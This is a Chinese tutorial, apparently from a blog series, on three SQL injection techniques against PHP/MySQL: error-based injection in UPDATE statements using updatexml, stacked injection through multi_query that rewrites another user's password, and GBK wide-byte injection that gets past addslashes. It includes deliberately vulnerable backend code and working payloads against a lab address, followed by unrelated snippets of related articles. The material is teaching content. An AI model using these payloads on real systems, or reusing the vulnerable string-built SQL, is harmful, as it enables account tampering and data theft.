sql注入(6), 更新注入, 堆叠注入, 宽字节注入

一, 更新注入

更新操作只返回布尔型结果, 所以无法像select语句进行多样化测试, 所以更新类的操作重点就是报错注入. 注意报错注入的前提是页面上能够看到数据库的报错信息, 利用报错信息显示我们需要的数据.

情景
修改密码时对url进行post请求, 提交密码.

url: http://192.168.112.200/security/misc.php
post data: password=xxxxxx
后端代码:
$password = $_POST['password'];
$sql = "update user set password='$password' where userid=1";
$conn->query($sql);
echo mysqli_error($conn);

说明
注入时修改 post data 数据. 在 post data 的参数后面拼接一段sql, 引起数据库报错.
首先, 这是字符型注入, 需要添加单引号(').
其次, 后端修改密码的sql语句在最后应该有一段where语句, 所以注入时需要在结尾添加 ‘or’ 或者
注释 ‘–+’ 来屏蔽它.

注入

password=1234' or updatexml(1, concat(0x7e, version(), 0x7e), 1) or'
password=1234' or updatexml(1, concat(0x7e, version(), 0x7e), 1) --+'
结果: XPATH syntax error: '~10.4.20-MariaDB~'

二, 堆叠注入

数据库允许一次性执行多条sql语句, 使用分号 ‘;’ 间隔. 通过拼接第二条语句来实现注入.
堆叠注入的前提是, 后端sql语句使用了类似 multi_query() 函数, 可以一次执行多条sql语句.
这种情况实际上比较少见.

情景
查询某个用户的信息.

url: http://192.168.112.200/security/misc.php?id=1
后端代码:
$id=$_GET['id'];
$conn->multi_query("select * from user where userid=$id");
$result = $conn->store_result();
$rows = $result->fetch_row();
var_dump($rows);

说明
首先, 用分号截断前面的语句, 在后面拼接自己的sql语句, 修改数据库中的数据.

注入

修改id=5用户的密码
http://192.168.112.200/security/misc.php?id=1;update user set password='root' where userid=5
修改id=5用户的用户名
http://192.168.112.200/security/misc.php?id=1;update user set username='xoot' where userid=5

三, 宽字节注入

宽字节注入的环境比较特殊, 需要GBK等宽字符集的网站环境, 提交参数为字符型.

原理:
后端对于提交过来的参数值中的单引号('), 通常会做转义处理, 比如用php的 addslashes() 函数处理参数值, 单引号会被转义, 那么当注入测试时直接报错, 无法让注入语句有效执行.

例如:

正常访问:
?article=1
后端处理: where article='1'注入: ?article=1'
后端转义后变成: where article='1\''
那么此时添加的单引号实际上被当作了article参数的值, 而无法用于后面我们自己注入的语句.

那么宽字节注入的目的就是让单引号绕过因为转义而无法与我们自己注入的语句形成闭合.
利用宽字节编码, 在斜杠前面 ‘’ 拼接一段编码成为一个整体的字符, 使斜杠无法完成转义, 那么后面的单引号即可逃逸转义.

斜杠的编码: %5c
前面拼接上 %bf, 那么 %bf%5c 就会组合成一个有效的GBK字符, 斜杠的转义功能消失.
GBK的编码范围:8140-fefe, 高字节从81到fe, 这个范围内与%5c拼接都可以组成一个汉字字符.

注入

?article=1%bf' and 1=1 --+  # 页面正常
后端处理: where articleid='1縗' and 1=1 -- '?article=1%bf' and 1=2 --+  # 页面异常
后端处理: where articleid='1縗' and 1=2 -- '

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/104552.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vscode虚拟环境使用jupyter

在某虚拟环境内安装torch,但是ipyn文件保存后无法正常导入torch 1.conda环境下安装Jupyter等一切配置,进入虚拟环境 2.conda install nb_conda_kernels 3.安装完成后重新打开VSCode,在运行Jupyter notebook中的代码之前,在右上…

微软和OpenAI正在开发AI芯片, 并计划下个月发布

今年初,Chat**引起了无数网友关注,一度成为了热门话题。这是由人工智能研究实验室OpenAI开发的一款聊天机器人模型,也称为一种人工智能(AI)技术驱动的自然语言处理工具。能够通过学习和理解人类的语言来进行对话&#…

百度SEO优化全攻略(提高网站排名的5个方面)

百度SEO入门介绍: 随着互联网的不断发展,SEO已经成为网站优化的重要一环。而百度作为中国最大的搜索引擎,其SEO优化更是至关重要。SEO不仅能够提高网站排名,还能够提高网站流量、用户体验以及品牌知名度。因此,掌握百…

orgChart.js组织架构图

OrgChart.js是什么? 基于ES6的组织结构图插件。 特征 支持本地数据和远程数据(JSON)。 基于CSS3过渡的平滑扩展/折叠效果。 将图表对齐为4个方向。 允许用户通过拖放节点更改组织结构。 允许用户动态编辑组织图并将最终层次结构保存为…

[CSAWQual 2019]Web_Unagi - 文件上传+XXE注入(XML编码绕过)

[CSAWQual 2019]Web_Unagi 1 解题流程1.1 分析1.2 解题2 思考总结1 解题流程 这篇博客讲了xml进行编码转换绕过的原理:https://www.shawroot.cc/156.html 1.1 分析 页面可以上传,上传一句话php失败,点击示例发现是xml格式,那么就是XXE注入了 点击about得到flag位置: Fla…

蓝桥杯每日一题2023.10.13

组队 - 蓝桥云课 (lanqiao.cn) 题目描述 方法一:由肉眼观察找到在一至五号位的不同编号成员的最大的值 #include<bits/stdc.h> using namespace std; int main() {cout << 98 99 98 97 98;return 0; } 方法二&#xff1a;由dfs一一找寻 #include<bits/st…

图形界面四则运算计算器(Python+PyQt5)

(1) 导入所需的库和模块。 (2) 创建一个名为Calculator的类&#xff0c;继承自QMainWindow。 (3) 在Calculator类的__init__方法中&#xff0c;调用initUI方法初始化界面。 (4) 在initUI方法中&#xff0c;设置窗口标题和大小&#xff0c;创建显示结果的文本框&#xff0c;并调…

GDB 跳转执行

1、 s:进入某个函数 finish :从这个函数中出来 (gdb) b dkauth_mgr.c:132 Breakpoint 1 at 0x3423cfd4: file /home/jintao/cvf-integration/apps/cvf/services/dkauth/src/dkauth_mgr.c, line 132. (gdb) r The program being debugged has been started already. Start it …

【AI视野·今日Sound 声学论文速览 第二十四期】Thu, 12 Oct 2023

AI视野今日CS.Sound 声学论文速览 Thu, 12 Oct 2023 Totally 12 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Sound Papers Enhancing expressivity transfer in textless speech-to-speech translation Authors Jarod Duret LIA , Benjamin O Brien LIA , Yanni…

PyTorch 深度学习之处理多维特征的输入Multiple Dimension Input(六)

1.Multiple Dimension Logistic Regression Model 1.1 Mini-Batch (N samples) 8D->1D 8D->2D 8D->6D 1.2 Neural Network 学习能力太好也不行&#xff08;学习到的是数据集中的噪声&#xff09;&#xff0c;最好的是要泛化能力&#xff0c;超参数尝试 Example, Arti…

Java 基于SpringBoot的某家乡美食系统

1 简介 《Java 基于SpringBoot的某家乡美食系统》该项目含有源码、文档等资料、配套开发软件、软件安装教程等。系统功能完整&#xff0c;适合作为毕业设计、课程设计、数据库大作业学习使用。 功能介绍 这个项目是基于 SpringBoot和 Vue 开发的地方美食系统&#xff0c;包括…

K邻近算法(KNN,K-nearest Neighbors Algorithm)

文章目录 前言应用场景欧几里得距离&#xff08;欧氏距离&#xff09;两类、单一属性&#xff08;1D&#xff09;两类、两种属性&#xff08;2D&#xff09;两类、两种以上属性&#xff08;>3D&#xff09; Examples in R再来一个补充一下什么是变量 什么是变量&#xff1f;…

React之setState

一、useState使用规则 1、useState 函数可以执行多次&#xff0c;每次执行互相独立&#xff0c;每调用一次为函数组件提供一个状态 2、useState只能出现在【函数组件】或者其他hook函数中 3、不能嵌套在if/for/其它函数中&#xff08;react按照hooks的调用顺序识别每一个hook&…

ubuntu下yolov5 tensorrt模型部署

文章目录 ubuntu下yolov5 tensorrt模型部署一、Ubuntu18.04环境配置1.1 安装工具链和opencv1.2 安装Nvidia相关库1.2.1 安装Nvidia显卡驱动1.2.2 安装 cuda11.31.2.3 安装 cudnn8.21.2.4 下载 tensorrt8.4.2.41.2.5 下载仓库TensorRT-Alpha并设置 二、从yolov5源码中导出onnx文…

力扣第108题 将有序数组转二叉搜索树 c++

题目 108. 将有序数组转换为二叉搜索树 简单 相关标签 树 二叉搜索树 数组 分治 二叉树 给你一个整数数组 nums &#xff0c;其中元素已经按 升序 排列&#xff0c;请你将其转换为一棵 高度平衡 二叉搜索树。 高度平衡 二叉树是一棵满足「每个节点的左右两个子树…

【iOS】Mac M1安装iPhone及iPad的app时设置问题

【iOS】Mac M1安装iPhone及iPad的app时设置问题 简介一&#xff0c;设置问题二&#xff0c;适配问题 简介 由于 苹果M1芯片的Mac可用安装iPhone以及iPad应用&#xff0c;因为开发者并没有适配Mac&#xff0c;因此产生了很多奇怪问题&#xff0c;这里总结归纳Mac M1安装iPhone和…

五、OSPF动态路由实验

拓扑图&#xff1a; 基本ip的配置已经配置好了&#xff0c;接下来对两台路由器配置ospf协议&#xff0c;两台PC进行跨网段通讯 R1与R2构成单区域OSPF区域0&#xff0c;首先对R1进行配置 首先进入ospf 默认进程1&#xff0c;router id省略空缺&#xff0c;之后进入area 0区域&…

RN操作SQLite数据库的包(sqlite-helper.js)及其使用

先安装 yarn add react-native-sqlite-storagesqlite-helper.js工具包的具体代码 "use strict";var _interopRequireDefaultrequire("babel/runtime/helpers/interopRequireDefault");Object.defineProperty(exports,"__esModule",{value:true…

迁移学习--预训练微调

目录 1、迁移学习作用 2、迁移学习的途径 3、相关的领域 4、在计算机视觉中的应用 5、迁移学习的办法 预训练模型 微调 6、总结 1、迁移学习作用 定义&#xff1a;能在一个任务学习一个模型&#xff0c;然后用来解决相关的别的任务&#xff0c;这样我们在一个地方花…

一种用于肽图分析的烷化剂,Desthiobiotin-Iodoacetamide

中文名&#xff1a;脱硫生物素-碘乙酰胺 英文名&#xff1a;Desthiobiotin-Iodoacetamide 化学式&#xff1a;C14H25IN4O3 分子量&#xff1a;424.28 外观&#xff1a;固体/粉末 规格&#xff1a;10mg、25mg、50mg等&#xff08;接受各种规格的定制服务&#xff0c;具体可…